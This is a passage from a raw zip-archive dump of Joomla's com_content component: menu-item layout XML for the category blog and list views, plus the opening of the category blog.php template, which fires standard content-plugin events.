	</fieldset>
	<fieldset name="blog" label="JGLOBAL_BLOG_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="blog_class_leading"
				type="text"
				label="JGLOBAL_BLOG_CLASS_LEADING"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="blog_class"
				type="text"
				label="JGLOBAL_BLOG_CLASS"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_leading_articles"
				type="number"
				label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="num_intro_articles"
				type="number"
				label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="num_links"
				type="number"
				label="JGLOBAL_NUM_LINKS_LABEL"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="show_subcategory_content"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JNONE</option>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="spacer5"
				type="spacer"
				hr="true"
			/>

			<field
				name="orderby_pri"
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>
	</fieldset>

	<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="title">JGLOBAL_TITLE</option>
				<option value="author">JAUTHOR</option>
				<option value="hits" requires="hits">JGLOBAL_HITS</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="list_show_date"
				type="list"
				label="JGLOBAL_SHOW_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="date_format"
				type="text"
				label="JGLOBAL_DATE_FORMAT_LABEL"
				useglobal="true"
			/>

			<field
				name="list_show_hits"
				type="list"
				label="JGLOBAL_LIST_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="list_show_author"
				type="list"
				label="JGLOBAL_LIST_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="display_num"
				type="list"
				label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

	</fieldset>

		<fieldset name="shared" label="COM_CONTENT_SHARED_LABEL" description="COM_CONTENT_SHARED_DESC">

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="article" label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>

			<field
				name="article_layout"
				type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				class="form-select"
				menuitems="true"
				extension="com_content"
				view="article"
			/>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>
		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_summary"
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\�ʑ)H)H"com_content/tmpl/category/blog.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE" option="COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION">
		<help key = "Menu_Item:_Category_Blog" />
		<message>
			<![CDATA[COM_CONTENT_CATEGORY_VIEW_BLOG_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
		>
			<field
				name="id"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				extension="com_content"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>

			<field
				name="filter_tag"
				type="tag"
				label="JTAG"
				multiple="true"
				mode="nested"
				custom="deny"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS">
				<field
					name="layout_type"
					type="hidden"
					default="blog"
				/>

				<field
					name="show_category_title"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_TITLE"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_description"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_description_image"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="maxLevel"
					type="list"
					label="JGLOBAL_MAXLEVEL_LABEL"
					description="JGLOBAL_MAXLEVEL_DESC"
					useglobal="true"
					validate="options"
					>
					<option value="-1">JALL</option>
					<option value="0">JNONE</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
				</field>

				<field
					name="show_empty_categories"
					type="list"
					label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_no_articles"
					type="list"
					label="COM_CONTENT_NO_ARTICLES_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_category_heading_title_text"
					type="list"
					label="JGLOBAL_SHOW_SUBCATEGORY_HEADING"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_subcat_desc"
					type="list"
					label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_cat_num_articles"
					type="list"
					label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_cat_tags"
					type="list"
					label="COM_CONTENT_FIELD_SHOW_CAT_TAGS_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_BLOG_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL">

			<field
				name="num_leading_articles"
				type="number"
				label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class_leading"
				type="text"
				label="JGLOBAL_BLOG_CLASS_LEADING"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_intro_articles"
				type="number"
				label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class"
				type="text"
				label="JGLOBAL_BLOG_CLASS"
				description="JGLOBAL_BLOG_CLASS_NOTE_DESC"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_columns"
				type="number"
				label="JGLOBAL_NUM_COLUMNS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1-inline"
				useglobal="true"
			/>

			<field
				name="multi_column_order"
				type="list"
				label="JGLOBAL_MULTI_COLUMN_ORDER_LABEL"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_BLOG_DOWN_OPTION</option>
				<option value="1">JGLOBAL_BLOG_ACROSS_OPTION</option>
			</field>

			<field
				name="num_links"
				type="number"
				label="JGLOBAL_NUM_LINKS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1"
				useglobal="true"
			/>

			<field
				name="show_featured"
				type="list"
				label="JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-1"
				>
				<option value="show">JSHOW</option>
				<option value="hide">JHIDE</option>
				<option value="only">JONLY</option>
			</field>

			<field
				name="link_intro_image"
				type="list"
				label="JGLOBAL_LINKED_INTRO_IMAGE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-1-inline"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_subcategory_content"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-1-inline"
				>
				<option value="0">JNONE</option>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>
			<field
				name="orderby_pri"
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="random">JGLOBAL_RANDOM_ORDER</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
				<option value="unpublished">JUNPUBLISHED</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-1-inline"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="article"
			label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>

			<field
				name="article_layout"
				type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				class="form-select"
				menuitems="true"
				extension="com_content"
				view="article"
			/>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_associations"
				type="assoc"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTENT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>

		<fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_summary"
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\�88"com_content/tmpl/category/blog.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

$app = Factory::getApplication();

$this->category->text = $this->category->description;
$app->triggerEvent('onContentPrepare', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$this->category->description = $this->category->text;

$results = $app->triggerEvent('onContentAfterTitle', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$afterDisplayTitle = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentBeforeDisplay', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$beforeDisplayContent = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentAfterDisplay', [$this->category->extension . '.categories', &$this->category, &$this->params, 0]);
$afterDisplayContent = trim(implode("\n", $results));

$htag    = $this->params->get('show_page_heading') ? 'h2' : 'h1';

?>
